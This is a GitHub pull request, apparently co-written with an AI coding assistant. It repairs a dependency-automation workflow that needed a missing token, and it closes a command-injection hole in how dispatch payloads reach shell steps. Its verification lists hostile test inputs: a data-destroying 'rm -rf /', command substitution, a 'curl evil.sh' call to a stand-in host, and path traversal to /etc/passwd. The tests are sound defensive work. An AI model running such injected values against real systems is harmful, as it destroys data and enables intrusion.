fix: make the dependency automation work without a PAT - #140
Merged
Conversation
Points at bfc2462, which brings two things: - SharpAI/mlx-swift-lm#48 — glm_moe_dsa / deepseek_v3_2 load and run with dense attention (stage 1 of #111). GLM-5.2 is DeepSeek V3.2, whose indexer is inert below index_topk (2048), so output is exact for the first 2048 positions of context and diverges beyond them. That is enough to exercise --stream-experts against the 308GB checkpoint, which is what the issue actually asks for. - SharpAI/mlx-swift-lm#47 — the all-KV-shared assistant regression tests, which had not been picked up by a bump yet. #48 also generalises a latent trap in DeepseekV3.sanitize, which dropped `model.layers.61` by string literal. That number is just numHiddenLayers; on GLM-5.2's 78 layers it would have deleted a real layer while keeping the MTP block. Verified past the registry: pointing the binary at a glm_moe_dsa config constructs the model and fails only on absent weights — Key model.embed_tokens.weight not found in DeepseekV32Model.DeepseekV3ModelInner.Embedding so the architecture is reachable end to end, not merely registered. No real weights have been run: the smallest glm_moe_dsa checkpoint is 308GB. Refs #111 Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Dependency Automation has failed all 12 times it has run since 2026-04-27 —
it has never once succeeded. Every failure is the same:
##[error]Input 'token' not supplied. Unable to continue.
The Create Pull Request step reads secrets.SWIFTLM_PR_TOKEN, which is not set
in this repository. The dispatch side is fine: mlx-swift-lm's auto_release
does hold a token that can dispatch cross-repo, so the event arrives and the
job runs, does its work, and dies at the last step.
Rather than add the secret, stop trying to open the PR. A workflow needs a
personal access token to open one usefully because GitHub does not start
workflow runs for events raised by GITHUB_TOKEN — a bot-opened PR would arrive
with no checks at all, permanently pending rather than green, and release.yml
gates releases on CI concluding successfully. A pushed branch plus a compare
link in the job summary costs one click and gets real CI, because the PR event
is then the human's.
Keeping a human in that loop is not a consolation prize. Bumps here have
needed a pointer check, an umbrella build and a smoke test before they were
trustworthy; this does the mechanical part and leaves the judgement.
Three further problems fixed while in here:
- The mlx-swift branch ran `swift package update mlx-swift`, which does
nothing: both dependencies are `.package(path: "./…")` local paths backed by
submodules, and SwiftPM takes whatever is on disk for a path dependency. It
could only ever have produced an empty commit. Both are now handled the same
way, as the pointer move they are.
- client_payload was interpolated straight into run blocks, so a crafted
new_tag would have been executed rather than compared. Values are now
validated (source_repo against an allowlist, new_tag against a plain-tag
pattern) and passed through the environment. Verified rejecting
`b554; rm -rf /`, `$(whoami)`, `b554 && curl evil.sh`, `../../../etc/passwd`,
`-x` and empty, while accepting b554, b459 and v1.2.3.
- A re-dispatch for a tag already checked out produced an empty commit; that
case now reports and stops.
Exercised against the real submodule: an already-current tag (b500) takes the
no-op path, a nonexistent tag (b99999) fails with a clear message, and a real
older tag (b497) computes bfc2462 → b320bc4.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Dependency Automationhas failed all 12 times it has run since 2026-04-27. It has never once succeeded. Same error every time:Create Pull Requestreadssecrets.SWIFTLM_PR_TOKEN, which isn't set in this repo. The dispatch side is healthy —mlx-swift-lm'sauto_releasedoes hold a token that can dispatch cross-repo — so the event arrives, the job runs, does its work, and dies on the last step. Three of those failures were this week's merges.Why not just add the secret
A workflow needs a PAT to open a PR usefully, because GitHub does not start workflow runs for events raised by
GITHUB_TOKEN. A bot-opened PR would arrive with no checks at all — permanently pending, never green — andrelease.ymlgates releases on CI concluding successfully. Adding a token withGITHUB_TOKENsemantics would trade a visible red X for an invisible gap in the release gate.So this stops at a pushed branch and puts a compare link in the job summary. Opening the PR yourself is one click and gets real CI, because the event is then yours.
That a human sees the bump first isn't a consolation prize. Bumps in this repo have needed a pointer check, an umbrella build and a smoke test before they were trustworthy — #138 needed all three. This does the mechanical part and leaves the judgement.
Three more bugs fixed while in here
The
mlx-swiftpath was a no-op even with a working token. It ranswift package update mlx-swift, but both dependencies are.package(path: "./…")local paths backed by submodules, and SwiftPM uses whatever is on disk for a path dependency. It could only ever have committed nothing. Both are now handled as the pointer moves they are.Command injection.
client_payloadwas interpolated directly intorun:blocks, so a craftednew_tagwould have been executed rather than compared. Anything able to dispatch to this repo chooses those strings. They're now validated and passed through the environment. Verified:b554,b459,v1.2.3b554; rm -rf /$(whoami)b554 && curl evil.sh../../../etc/passwd-x, emptysource_repo: evil-repoEmpty commits on re-dispatch. A repeat dispatch for a tag already checked out produced a commit with no change; that now reports and stops.
Verification
Ran the submodule logic against the real repository:
b500) → no-op path takenb99999) → clean error, non-zero exitb497) → computesbfc2462→b320bc4YAML parses; step conditions confirmed. The workflow itself can only be exercised end to end by a real
repository_dispatch, so the nextmlx-swift-lmrelease is its first live run — worth watching for.Note there are five stale
auto-update/*branches from an era when this worked; this PR doesn't touch them.🤖 Generated with Claude Code